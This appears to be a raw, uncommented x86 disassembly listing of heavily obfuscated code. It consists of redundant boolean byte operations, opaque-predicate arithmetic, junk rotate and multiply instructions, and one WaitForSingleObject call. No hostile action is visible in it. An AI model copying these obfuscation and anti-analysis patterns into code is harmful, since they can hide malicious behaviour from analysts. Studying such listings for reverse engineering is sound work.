mov bh, 1
xor bh, 1
and bh, 1
mov ch, 1
xor ch, 1
and ch, 1
or bh, ch
mov ch, al
xor ch, 0xff
and ch, 0
mov dh, 1
xor dh, 0
and al, dh
mov bl, bh
xor bl, 0xff
and bl, 0
and bh, dh
mov dh, byte [ebp - 0x1042]
or ch, al
mov al, byte [ebp - 0x1035]
or bl, bh
xor ch, bl
xor dh, 0xff
mov bl, ch
xor bl, dh
and bl, ch
mov dh, al
xor dh, 0xff
and dh, 1
mov ch, 1
xor ch, 1
and al, ch
or dh, al
mov ch, cl
xor ch, 0xff
mov al, dh
and al, ch
xor dh, 0xff
mov ch, cl
and ch, dh
or al, ch
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, ah
xor al, 0xff
mov cl, dl
xor cl, al
and cl, dl
mov ch, dl
xor ch, 0xff
mov al, ah
and al, ch
xor ah, 0xff
and dl, ah
or al, dl
mov dl, cl
xor dl, 0xff
mov ch, al
xor ch, 0xff
mov ah, 1
xor ah, 0
mov bh, dl
and bh, 0
mov byte [ebp - 0x1046], bh
and cl, ah
mov bh, ch
and bh, 0
and al, ah
mov byte [ebp - 0x1044], al
mov al, byte [ebp - 0x1046]
or al, cl
mov cl, byte [ebp - 0x1045]
mov byte [ebp - 0x1043], al
mov al, byte [ebp - 0x1044]
or bh, al
mov al, byte [ebp - 0x1043]
xor al, bh
or dl, ch
xor dl, 0xff
or ah, 0
and dl, ah
or al, dl
mov ah, bl
xor ah, 0xff
mov ch, dh
xor ch, 0xff
mov dl, 1
xor dl, 1
or ah, ch
or dl, 1
xor ah, 0xff
and ah, dl
mov ch, bl
xor ch, 0xff
and ch, 0
mov bh, 1
xor bh, 0
and bl, bh
mov dl, dh
xor dl, 0xff
and dl, 0
and dh, bh
or ch, bl
or dl, dh
xor ch, dl
mov dl, ah
and dl, ch
xor ah, ch
or dl, ah
mov dh, al
xor dh, 0xff
and dh, 0
mov ch, 1
xor ch, 0
mov bl, al
and bl, ch
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or dh, bl
or ah, ch
xor dh, ah
mov ah, 1
xor ah, 1
xor dh, 0xff
mov ch, 1
xor ch, 0
or ah, dh
or ch, 0
xor ah, 0xff
and ah, ch
mov bh, 1
xor bh, 1
and bh, 1
mov ch, 1
xor ch, 1
and ch, 1
or bh, ch
mov ch, bh
xor ch, 0xff
mov bl, al
xor bl, ch
and bl, al
mov al, dl
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
mov ch, dl
and ch, dh
or al, ch
xor al, 0xff
mov dh, 1
xor dh, 1
mov ch, 1
xor ch, 1
or al, dh
mov dh, byte [ebp - 0x1042]
or ch, 1
xor al, 0xff
and al, ch
xor dl, 0xff
xor bh, 0xff
mov ch, 1
xor ch, 0
or dl, bh
or ch, 0
xor dl, 0xff
and dl, ch
mov ch, ah
and ch, bl
xor ah, bl
or ch, ah
mov ah, al
and ah, dl
xor al, dl
or ah, al
mov dl, ch
xor dl, 0xff
and dl, 0
mov bl, 1
xor bl, 0
and ch, bl
mov al, ah
xor al, 0xff
and al, 0
and ah, bl
or dl, ch
or al, ah
xor dl, al
mov bl, cl
xor bl, 0xff
and bl, 1
mov ah, 1
xor ah, 1
mov ch, cl
and ch, ah
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or bl, ch
or al, ah
xor bl, al
mov al, dh
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or al, dh
or ah, ch
xor al, ah
mov byte [ebp - 0x103e], al
mov bh, 1
xor bh, 0
and bh, 1
mov ah, 1
xor ah, 1
and ah, 0
or bh, ah
mov byte [ebp - 0x103b], bh
mov ch, bl
xor ch, 0xff
mov dh, 1
xor dh, 0
mov ah, 1
xor ah, 1
or ch, dh
or ah, 1
xor ch, 0xff
and ch, ah
mov ah, bh
xor ah, 0xff
mov dh, cl
xor dh, ah
and dh, cl
xor al, 0xff
mov ah, 1
xor ah, 0
mov cl, 1
xor cl, 1
or al, ah
mov ah, byte [ebp - 0x1042]
or cl, 1
xor al, 0xff
and al, cl
xor bh, 0xff
mov cl, ah
xor cl, bh
and cl, ah
mov ah, ch
and ah, dh
xor ch, dh
or ah, ch
mov byte [ebp - 0x103f], ah
mov ch, al
xor ch, 0xff
mov bh, cl
xor bh, 0xff
mov dh, 1
xor dh, 1
mov ah, ch
and ah, 0xff
and al, dh
mov byte [ebp - 0x1041], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x1040], al
mov al, byte [ebp - 0x1041]
and cl, dh
or ah, al
mov al, byte [ebp - 0x1040]
or al, cl
mov cl, byte [ebp - 0x103f]
xor ah, al
mov al, byte [ebp - 0x103e]
or ch, bh
xor ch, 0xff
or dh, 1
and ch, dh
or ah, ch
mov ch, cl
xor ch, 0xff
mov bh, ah
and bh, ch
xor ah, 0xff
and cl, ah
or bh, cl
mov cl, bl
xor cl, 0xff
mov dh, al
xor dh, 0xff
mov ah, 1
xor ah, 0
mov ch, cl
and ch, 0
and bl, ah
mov byte [ebp - 0x103d], bl
mov bl, dh
and bl, 0
and al, ah
mov byte [ebp - 0x103c], al
mov al, byte [ebp - 0x103d]
or ch, al
mov al, byte [ebp - 0x103c]
or bl, al
mov al, byte [ebp - 0x103b]
xor ch, bl
or cl, dh
xor cl, 0xff
or ah, 0
and cl, ah
or ch, cl
mov bl, ch
xor bl, 0xff
and bl, 0
mov ah, 1
xor ah, 0
and ch, ah
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or bl, ch
or cl, ah
xor bl, cl
mov cl, 1
xor cl, 0
mov byte [ebp - 0x1038], cl
mov ch, al
xor ch, 0xff
mov ah, 1
xor ah, 1
and cl, 0xff
mov dh, ah
and dh, 0
mov byte [ebp - 0x103a], dh
mov dh, ch
and dh, 0xff
and al, ah
mov byte [ebp - 0x1039], al
mov al, byte [ebp - 0x103a]
or cl, al
mov al, byte [ebp - 0x1039]
or dh, al
mov al, byte [ebp - 0x1038]
xor cl, dh
or al, ch
xor al, 0xff
or ah, 1
and al, ah
or cl, al
xor bl, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or bl, cl
or al, 0
xor bl, 0xff
and bl, al
mov al, bh
xor al, 0xff
mov ch, bl
xor ch, 0xff
mov ah, 1
xor ah, 0
mov cl, al
and cl, 0
and bh, ah
mov dh, ch
and dh, 0
and bl, ah
or cl, bh
or dh, bl
xor cl, dh
or al, ch
xor al, 0xff
or ah, 0
and al, ah
or cl, al
mov ch, cl
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
mov al, cl
and al, ah
or ch, al
mov ah, 1
xor ah, 0
xor ch, 0xff
mov al, 1
xor al, 1
or ah, ch
or al, 1
xor ah, 0xff
and ah, al
mov al, 1
xor al, 0
and al, 0
mov dh, 1
xor dh, 0
mov bl, dh
and bl, 0
mov ch, 1
xor ch, 1
and ch, 0
and dh, 1
or al, bl
or ch, dh
xor al, ch
mov dh, al
xor dh, 0xff
mov ch, cl
xor ch, dh
and ch, cl
mov cl, 1
xor cl, 1
and cl, 1
mov dh, 1
xor dh, 1
and dh, 1
or cl, dh
mov dh, 1
xor dh, 0
mov bh, cl
xor bh, dh
and bh, cl
xor al, 0xff
xor al, 1
and al, 0xff
mov cl, ah
and cl, ch
xor ah, ch
or cl, ah
mov ch, bh
xor ch, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 1
mov ah, ch
and ah, 0xff
and bh, dh
mov byte [ebp - 0x1037], bh
mov bh, bl
and bh, 0xff
and al, dh
mov byte [ebp - 0x1036], al
mov al, byte [ebp - 0x1037]
or ah, al
mov al, byte [ebp - 0x1036]
or bh, al
mov al, byte [ebp - 0x1035]
xor ah, bh
or ch, bl
xor ch, 0xff
or dh, 1
and ch, dh
or ah, ch
mov ch, cl
xor ch, 0xff
mov dh, ah
and dh, ch
xor ah, 0xff
and cl, ah
or dh, cl
mov cl, 1
xor cl, 1
and cl, 1
mov ah, 1
xor ah, 1
and ah, 1
or cl, ah
mov byte [ebp - 0x102a], cl
mov bh, al
xor bh, 0xff
and bh, 1
mov ah, 1
xor ah, 1
and al, ah
or bh, al
mov byte [ebp - 0x102b], bh
mov ch, 1
xor ch, 0
and ch, 1
mov al, 1
xor al, 1
and al, 0
or ch, al
mov ah, 1
xor ah, 0
mov al, cl
xor al, ah
and al, cl
mov cl, 1
xor cl, 1
mov bl, ch
xor bl, 0xff
mov ah, 1
xor ah, 0
or cl, bl
or ah, 0
xor cl, 0xff
and cl, ah
mov ah, 1
xor ah, 0
mov bl, bh
xor bl, ah
mov ah, byte [ebp - 0x1035]
and bl, bh
mov byte [ebp - 0x1030], bl
xor ah, 0xff
mov bh, ch
xor bh, 0xff
mov bl, 1
xor bl, 1
or ah, bh
or bl, 1
xor ah, 0xff
and ah, bl
mov byte [ebp - 0x1032], ah
mov ah, al
xor ah, 0xff
mov bl, cl
xor bl, 0xff
mov byte [ebp - 0x1031], bl
mov bh, 1
xor bh, 1
mov bl, ah
and bl, 0xff
and al, bh
mov byte [ebp - 0x1034], al
mov al, byte [ebp - 0x1031]
and al, 0xff
mov byte [ebp - 0x1033], al
mov al, byte [ebp - 0x1034]
and cl, bh
or bl, al
mov al, byte [ebp - 0x1033]
or al, cl
mov cl, byte [ebp - 0x1032]
xor bl, al
mov al, byte [ebp - 0x1031]
or ah, al
mov al, byte [ebp - 0x1030]
xor ah, 0xff
or bh, 1
and ah, bh
or bl, ah
mov bh, al
xor bh, 0xff
mov byte [ebp - 0x102c], bh
mov ah, cl
xor ah, 0xff
mov byte [ebp - 0x102d], ah
mov ah, 1
xor ah, 0
and bh, 0
and al, ah
mov byte [ebp - 0x102f], al
mov al, byte [ebp - 0x102d]
and al, 0
mov byte [ebp - 0x102e], al
mov al, byte [ebp - 0x102f]
and cl, ah
or bh, al
mov al, byte [ebp - 0x102e]
or al, cl
mov cl, byte [ebp - 0x102d]
xor bh, al
mov al, byte [ebp - 0x102c]
or al, cl
mov cl, byte [ebp - 0x102b]
xor al, 0xff
or ah, 0
and al, ah
or bh, al
mov al, bl
xor al, 0xff
mov ah, bh
and ah, al
mov al, byte [ebp - 0x102a]
xor bh, 0xff
and bl, bh
or ah, bl
mov byte [ebp - 0x1026], ah
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x1027], ah
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 0
and ah, 0
and al, bl
mov byte [ebp - 0x1029], al
mov al, bh
and al, 0
mov byte [ebp - 0x1028], al
mov al, byte [ebp - 0x1029]
and cl, bl
or ah, al
mov al, byte [ebp - 0x1028]
or al, cl
mov cl, byte [ebp - 0x1027]
xor ah, al
mov al, byte [ebp - 0x1026]
or cl, bh
xor cl, 0xff
or bl, 0
and cl, bl
or ah, cl
mov cl, ah
xor cl, 0xff
and cl, 1
mov bl, 1
xor bl, 1
and ah, bl
or cl, ah
mov ah, ch
and ah, 0
xor ch, 0
or ah, ch
xor ah, 0xff
mov bh, cl
xor bh, ah
and bh, cl
mov cl, al
xor cl, 0xff
mov byte [ebp - 0x1025], cl
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 0
and cl, 0
and al, ah
mov bl, ch
and bl, 0
and bh, ah
or cl, al
mov al, byte [ebp - 0x1025]
or bl, bh
xor cl, bl
or al, ch
xor al, 0xff
or ah, 0
and al, ah
or cl, al
mov al, dh
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or al, dh
or ah, ch
xor al, ah
mov bl, cl
xor bl, 0xff
and bl, 1
mov ah, 1
xor ah, 1
and cl, ah
or bl, cl
mov bh, 1
xor bh, 1
and bh, 0
mov ah, 1
xor ah, 0
mov ch, ah
and ch, 1
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or bh, ch
or cl, ah
xor bh, cl
mov dh, al
xor dh, 0xff
mov byte [ebp - 0x1024], dh
mov ah, bl
xor ah, 0xff
mov cl, 1
xor cl, 0
and dh, 0
and al, cl
mov ch, ah
and ch, 0
and bl, cl
or dh, al
mov al, byte [ebp - 0x1024]
or ch, bl
xor dh, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dh, al
mov cl, 1
xor cl, 1
mov byte [ebp - 0x1023], cl
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 1
and cl, 0xff
mov al, ah
and al, 1
mov bl, ch
and bl, 0xff
and bh, ah
or cl, al
mov al, byte [ebp - 0x1023]
or bl, bh
xor cl, bl
or al, ch
xor al, 0xff
or ah, 1
and al, ah
or cl, al
mov al, dh
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or al, dh
or ah, ch
xor al, ah
xor cl, 0xff
mov ah, al
xor ah, cl
and ah, al
mov bl, dl
xor bl, 0xff
and bl, 0
mov cl, 1
xor cl, 0
mov ch, dl
and ch, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or bl, ch
or al, cl
xor bl, al
mov dh, ah
xor dh, 0xff
and dh, 1
mov cl, 1
xor cl, 1
mov al, ah
and al, cl
or dh, al
mov bh, 1
xor bh, 1
and bh, 1
mov cl, 1
xor cl, 1
mov ch, cl
and ch, 1
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or bh, ch
or al, cl
xor bh, al
mov al, bl
xor al, 0xff
mov ch, 1
xor ch, 1
mov cl, 1
xor cl, 0
or al, ch
or cl, 0
xor al, 0xff
and al, cl
mov byte [ebp - 0x1022], al
xor dl, 0xff
mov cl, bh
xor cl, 0xff
mov al, 1
xor al, 0
or dl, cl
or al, 0
xor dl, 0xff
and dl, al
mov al, dh
xor al, 0xff
mov cl, 1
xor cl, 1
mov ch, 1
xor ch, 1
or al, cl
mov cl, byte [ebp - 0x1022]
or ch, 1
xor al, 0xff
and al, ch
mov byte [ebp - 0x1021], al
mov al, bh
xor al, 0xff
mov ch, ah
xor ch, al
mov al, byte [ebp - 0x1021]
and ch, ah
mov byte [ebp - 0x1020], ch
mov ah, cl
and ah, dl
xor cl, dl
or ah, cl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0x101c], dl
xor ch, 0xff
mov cl, 1
xor cl, 0
mov byte [ebp - 0x101d], cl
and dl, 0
and al, cl
mov cl, byte [ebp - 0x1020]
mov byte [ebp - 0x101f], al
mov al, ch
and al, 0
mov byte [ebp - 0x101e], al
mov al, byte [ebp - 0x101d]
and cl, al
mov al, byte [ebp - 0x101f]
or dl, al
mov al, byte [ebp - 0x101e]
or al, cl
mov cl, byte [ebp - 0x101d]
xor dl, al
mov al, byte [ebp - 0x101c]
or al, ch
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov al, ah
xor al, 0xff
and al, 0
mov ch, 1
xor ch, 0
and ah, ch
mov cl, dl
xor cl, 0xff
and cl, 0
and dl, ch
or al, ah
or cl, dl
xor al, cl
mov byte [ebp - 0x101b], al
mov cl, bl
xor cl, 0xff
mov ah, dh
xor ah, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and bl, dl
mov ch, ah
and ch, 0
and dh, dl
or al, bl
or ch, dh
xor al, ch
or cl, ah
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
and al, dl
or cl, al
mov dl, 1
xor dl, 1
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
mov ah, dl
and ah, 0xff
mov al, ch
and al, 1
mov bl, dh
and bl, 0xff
and bh, ch
or ah, al
mov al, byte [ebp - 0x101b]
or bl, bh
xor ah, bl
or dl, dh
xor dl, 0xff
or ch, 1
and dl, ch
or ah, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 1
or cl, ah
or dl, 1
xor cl, 0xff
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x24b8bf7a
mov ecx, 0xb11ba3f7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c0], eax
jmp 0x4b1f8e
mov eax, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
neg esi
and eax, 0xd4
add esi, 0xa7
sub ebx, 0x5f
ror edi, 0x65
or ebx, 6
mov eax, 0x9a
add eax, 0xfe
rcr ebx, 0x7f
and edi, 7
not eax
rol esi, 0x46
inc esi
sub edi, 0xa6
not esi
dec edx
rol edx, 0xa8
rcr ebx, 0x55
and esi, 0xa6
add eax, 0x6e
ror edx, 0xe4
not edi
ror esi, 0x20
imul edx
not ebx
rol eax, 0xb8
dec eax
imul edi
neg edx
rol ebx, 0x28
ror eax, 0xc0
dec eax
dec edi
rcl edi, 0x3e
or edx, 0x47
ror eax, 0xbc
bswap edx
not ebx
neg edi
ror edx, 0xd5
or ebx, 0x42
add eax, 0x38
or edi, 0xc7
mov ebx, 0x9f
dec eax
dec ebx
rcr edi, 0x1c
and ebx, 0x25
and edx, 0x20
rol edi, 0xde
and eax, 0x7f
or edx, 0x79
sub edx, 3
bswap ebx
ror eax, 0x29
neg ebx
mov esi, 0x17
sbb edi, 0x60
mov edi, 0x7f
imul edi
sbb edi, 0xb3
and ebx, 0x6b
bswap eax
ror eax, 8
rcr esi, 0xc
bswap eax
imul edi
ror eax, 0x85
dec eax
ror edi, 0x6c
sub esi, 0xe2
mov edi, 0x5c
or eax, 0xcc
sub edx, 0xba
and edi, 0x95
add esi, 0x30
rol edx, 0x4b
or edi, 0x64
imul edi
bswap ebx
and eax, 0xe7
bswap eax
and eax, 0x1b
imul edx
neg edx
neg ebx
ror edi, 0x15
add edi, 0x54
sub esi, 0xfa
mov eax, 0xab
not ebx
sub eax, 1
not edi
ror edx, 0xb6
or edx, 0x36
and ebx, 0x1c
add eax, 0x14
ror ebx, 0x5e
rcr ebx, 0xbb
ror edi, 0x56
and esi, 1
add eax, 0xf8
imul ebx
inc eax
or ebx, 0x71
dec eax
not ebx
sbb ebx, 0xd8
neg esi
not eax
neg edi
sub esi, 0x93
mov edi, 0x23
sbb edx, 0x27
dec ebx
inc edi
rol edx, 0x46
sub ebx, 0x77
ror ebx, 0xb6
imul eax
sub edx, 0x62
inc eax
rol ebx, 0xbe
rol ebx, 0x36
dec esi
add edx, 0x2f
dec edx
add edi, 0xec
imul edi
rcr edi, 0xe6
ror edi, 0xc0
ror edi, 0xc
bswap eax
bswap esi
imul edx
mov ebx, 0xbb
imul esi
neg esi
mov edi, 0x36
not esi
imul eax
not edi
mov edi, 0xee
dec ebx
sbb edi, 0xa6
sbb ebx, 0x1d
imul esi
sbb eax, 0x5a
inc eax
imul edi
mov ecx, eax
mov eax, dword [ebp - 0x1b8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1b8]
mov dword [eax], 0
mov ecx, dword [0x63d5c4]
mov eax, dword [0x63d5c0]
xor esi, esi
sub esi, 0x7f2bb9f4
sub esi, ecx
add esi, 0x7f2bb9f4
mov edi, 0xd8c05f43
add edi, 0
sub edi, 0x6b208758
sub edi, 0xd8c05f43
xor edx, edx
sub edx, edi
sub esi, edx
mov edx, 0x2927f676
add edx, 0
sub edx, esi
sub edx, 0x2927f676
add edx, 0x99a33713
sub edx, 0x28d49e85
sub edx, 0x99a33713
xor esi, esi
sub esi, 1
add edx, esi
add edx, 0x30248ed7
add edx, 0x28d49e85
sub edx, 0x30248ed7
add edx, 0x345d5e7c
sub edx, 0x318b64cf
sub edx, 0x345d5e7c
add edx, 0xe51a182a
sub edx, 0x6b208758
sub edx, 0xe51a182a
sub edx, 0x8fe69273
add edx, 0x318b64cf
add edx, 0x8fe69273
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dl
mov byte [ebp - 0x106c], dl
cmp eax, 0xa
setl ah
mov ch, dl
xor ch, 0xff
and ch, 0
mov cl, 1
xor cl, 0
mov dh, dl
and dh, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or ch, dh
or al, cl
xor ch, al
mov cl, 1
xor cl, 1
xor ch, 0xff
mov al, 1
xor al, 1
or cl, ch
or al, 1
xor cl, 0xff
and cl, al
mov ch, 1
xor ch, 1
and ch, 0
mov dh, 1
xor dh, 0
mov bl, dh
and bl, 1
mov al, 1
xor al, 1
and al, 0
and dh, 1
or ch, bl
or al, dh
xor ch, al
xor dl, 0xff
xor ch, 0xff
mov al, 1
xor al, 1
or dl, ch
or al, 1
xor dl, 0xff
and dl, al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov byte [ebp - 0x1069], al
mov bh, ah
xor bh, 0xff
and bh, 1
mov cl, 1
xor cl, 1
mov al, ah
and al, cl
or bh, al
xor bh, 0xff
xor bh, 1
and bh, 0xff
mov al, 1
xor al, 1
and al, 1
mov dl, 1
xor dl, 1
mov ch, dl
and ch, 1
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or al, ch
or cl, dl
xor al, cl
xor al, 0xff
mov bl, ah
xor bl, al
and bl, ah
mov cl, bh
xor cl, 0xff
mov ch, bl
xor ch, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and bh, dl
mov dh, ch
and dh, 0
and bl, dl
or al, bh
or dh, bl
xor al, dh
or cl, ch
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
mov byte [ebp - 0x1067], al
mov dl, 1
xor dl, 0
and dl, 0
mov cl, 1
xor cl, 0
mov ch, cl
and ch, 0
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dl, ch
or al, cl
xor dl, al
xor dl, 0xff
xor dl, 0
and dl, 0
mov dh, 1
xor dh, 0
and dh, 1
mov al, 1
xor al, 1
and al, 0
or dh, al
mov al, 1
xor al, 0
mov ch, dh
xor ch, 0xff
mov cl, 1
xor cl, 0
or al, ch
or cl, 0
xor al, 0xff
and al, cl
mov cl, 1
xor cl, 1
and cl, 1
mov ch, 1
xor ch, 1
and ch, 1
or cl, ch
xor cl, 0xff
mov bl, 1
xor bl, 0
mov ch, 1
xor ch, 0
or cl, bl
or ch, 0
xor cl, 0xff
and cl, ch
mov byte [ebp - 0x106f], cl
xor dh, 0xff
xor dh, 1
and dh, 0xff
mov ch, dl
xor ch, 0xff
mov bh, al
xor bh, 0xff
mov bl, 1
xor bl, 1
mov cl, ch
and cl, 0xff
and dl, bl
mov byte [ebp - 0x1071], dl
mov dl, bh
and dl, 0xff
and al, bl
mov byte [ebp - 0x1070], al
mov al, byte [ebp - 0x1071]
or cl, al
mov al, byte [ebp - 0x1070]
or dl, al
mov al, byte [ebp - 0x106f]
xor cl, dl
mov dl, byte [ebp - 0x1069]
or ch, bh
xor ch, 0xff
or bl, 1
and ch, bl
or cl, ch
mov ch, al
and ch, dh
xor al, dh
or ch, al
mov dh, cl
xor dh, 0xff
mov al, ch
and al, dh
xor ch, 0xff
and cl, ch
or al, cl
mov byte [ebp - 0x1058], al
mov bl, dl
xor bl, 0xff
and bl, 1
mov cl, 1
xor cl, 1
and dl, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or bl, dl
or al, cl
xor bl, al
mov al, 1
xor al, 0
and al, 1
mov dl, 1
xor dl, 1
mov ch, dl
and ch, 0
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or al, ch
or cl, dl
xor al, cl
mov cl, 1
xor cl, 0
and cl, 1
mov ch, 1
xor ch, 1
mov dh, ch
and dh, 0
mov dl, 1
xor dl, 1
and dl, 0xff
and ch, 1
or cl, dh
or dl, ch
xor cl, dl
mov dl, bl
xor dl, 0xff
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 0
mov bh, dl
and bh, 0
and bl, ch
mov byte [ebp - 0x106e], bl
mov bl, dh
and bl, 0
and al, ch
mov byte [ebp - 0x106d], al
mov al, byte [ebp - 0x106e]
or bh, al
mov al, byte [ebp - 0x106d]
or bl, al
mov al, byte [ebp - 0x106c]
xor bh, bl
mov bl, byte [ebp - 0x1058]
or dl, dh
xor dl, 0xff
or ch, 0
and dl, ch
or bh, dl
mov ch, cl
and ch, 0
xor cl, 0
or ch, cl
mov dl, bh
xor dl, 0xff
and dl, 0
mov dh, 1
xor dh, 0
and bh, dh
mov cl, 1
xor cl, 1
and cl, 0
and dh, 1
or dl, bh
or cl, dh
xor dl, cl
xor dl, 0xff
xor ch, 0xff
mov cl, 1
xor cl, 1
or dl, ch
or cl, 1
xor dl, 0xff
and dl, cl
mov ch, al
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
and al, cl
or ch, al
mov dh, bl
xor dh, 0xff
and dh, 0
mov cl, 1
xor cl, 0
and bl, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dh, bl
or al, cl
xor dh, al
mov cl, 1
xor cl, 0
and cl, 1
mov al, 1
xor al, 1
and al, 0
or cl, al
mov al, ch
and al, dh
xor ch, dh
or al, ch
mov byte [ebp - 0x1068], al
mov ch, 1
xor ch, 0
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 1
mov dh, ch
and dh, 0xff
mov al, bl
and al, 0
mov byte [ebp - 0x106b], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x106a], al
mov al, byte [ebp - 0x106b]
and cl, bl
or dh, al
mov al, byte [ebp - 0x106a]
or al, cl
mov cl, byte [ebp - 0x1069]
xor dh, al
mov al, byte [ebp - 0x1068]
or ch, bh
xor ch, 0xff
or bl, 1
and ch, bl
or dh, ch
mov ch, al
xor ch, 0xff
and ch, 1
mov bl, 1
xor bl, 1
and al, bl
or ch, al
xor ch, 0xff
xor dh, 0xff
mov al, 1
xor al, 0
or ch, dh
or al, 0
xor ch, 0xff
and ch, al
mov al, 1
xor al, 0
and al, 0
mov bl, 1
xor bl, 0
mov bh, bl
and bh, 0
mov dh, 1
xor dh, 1
and dh, 0
and bl, 1
or al, bh
mov bh, byte [ebp - 0x1067]
or dh, bl
xor al, dh
mov bl, bh
xor bl, 0xff
mov dh, al
and dh, bl
xor al, 0xff
mov bl, bh
and bl, al
mov al, byte [ebp - 0x1058]
or dh, bl
xor bh, 0xff
mov bl, dh
xor bl, bh
and bl, dh
mov bh, al
xor bh, 0xff
and bh, 1
mov dh, 1
xor dh, 1
and al, dh
or bh, al
mov dh, ah
xor dh, 0xff
mov al, bh
and al, dh
xor bh, 0xff
mov dh, ah
and dh, bh
or al, dh
xor ah, 0xff
mov dh, al
xor dh, ah
and dh, al
mov al, dl
xor al, 0xff
mov bh, ch
xor bh, 0xff
mov ah, 1
xor ah, 1
or al, bh
or ah, 1
xor al, 0xff
and al, ah
mov bh, dl
xor bh, 0xff
mov ah, ch
and ah, bh
xor ch, 0xff
and dl, ch
or ah, dl
mov dl, al
and dl, ah
xor al, ah
or dl, al
mov ah, dh
xor ah, 0xff
mov al, bl
xor al, ah
and al, bl
mov ah, bl
xor ah, 0xff
and ah, 0
mov bh, 1
xor bh, 0
and bl, bh
mov ch, dh
xor ch, 0xff
and ch, 0
and dh, bh
or ah, bl
or ch, dh
xor ah, ch
mov bl, al
and bl, ah
xor al, ah
or bl, al
mov ah, dl
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
mov dh, dl
and dh, ch
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or ah, dh
or al, ch
xor ah, al
xor ah, 0xff
mov al, bl
xor al, ah
and al, bl
mov ah, bl
xor ah, 0xff
and ah, 0
mov dh, 1
xor dh, 0
and bl, dh
mov ch, 1
xor ch, 1
and ch, 0
and dh, 1
or ah, bl
or ch, dh
xor ah, ch
xor ah, 0xff
mov bh, dl
xor bh, ah
and bh, dl
mov dl, al
xor dl, 0xff
mov dh, bh
xor dh, 0xff
mov ah, 1
xor ah, 1
mov ch, dl
and ch, 0xff
and al, ah
mov bl, dh
and bl, 0xff
and bh, ah
or ch, al
mov al, byte [ebp - 0x1067]
or bl, bh
xor ch, bl
or dl, dh
xor dl, 0xff
or ah, 1
and dl, ah
or ch, dl
mov bh, cl
xor bh, 0xff
and bh, 0
mov ah, 1
xor ah, 0
mov dh, cl
and dh, ah
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or bh, dh
or dl, ah
xor bh, dl
mov bl, al
xor bl, 0xff
and bl, 1
mov dl, 1
xor dl, 1
and al, dl
or bl, al
mov byte [ebp - 0x105f], bl
mov dh, 1
xor dh, 0
and dh, 1
mov dl, 1
xor dl, 1
mov ah, dl
and ah, 0
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or dh, ah
or al, dl
xor dh, al
mov byte [ebp - 0x105c], dh
mov dl, 1
xor dl, 0
mov al, bh
xor al, dl
and al, bh
xor cl, 0xff
mov ah, dh
xor ah, 0xff
mov dl, 1
xor dl, 0
or cl, ah
or dl, 0
xor cl, 0xff
and cl, dl
mov ah, 1
xor ah, 0
mov dl, bl
xor dl, ah
mov ah, byte [ebp - 0x1067]
and dl, bl
mov byte [ebp - 0x1063], dl
xor dh, 0xff
mov dl, ah
xor dl, dh
and dl, ah
mov byte [ebp - 0x1064], dl
mov dl, al
xor dl, 0xff
mov bl, cl
xor bl, 0xff
mov ah, 1
xor ah, 1
mov dh, dl
and dh, 0xff
and al, ah
mov byte [ebp - 0x1066], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x1065], al
mov al, byte [ebp - 0x1066]
and cl, ah
or dh, al
mov al, byte [ebp - 0x1065]
or al, cl
mov cl, byte [ebp - 0x1064]
xor dh, al
mov al, byte [ebp - 0x1063]
or dl, bl
xor dl, 0xff
or ah, 1
and dl, ah
or dh, dl
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x1060], ah
mov bl, cl
xor bl, 0xff
mov dl, 1
xor dl, 1
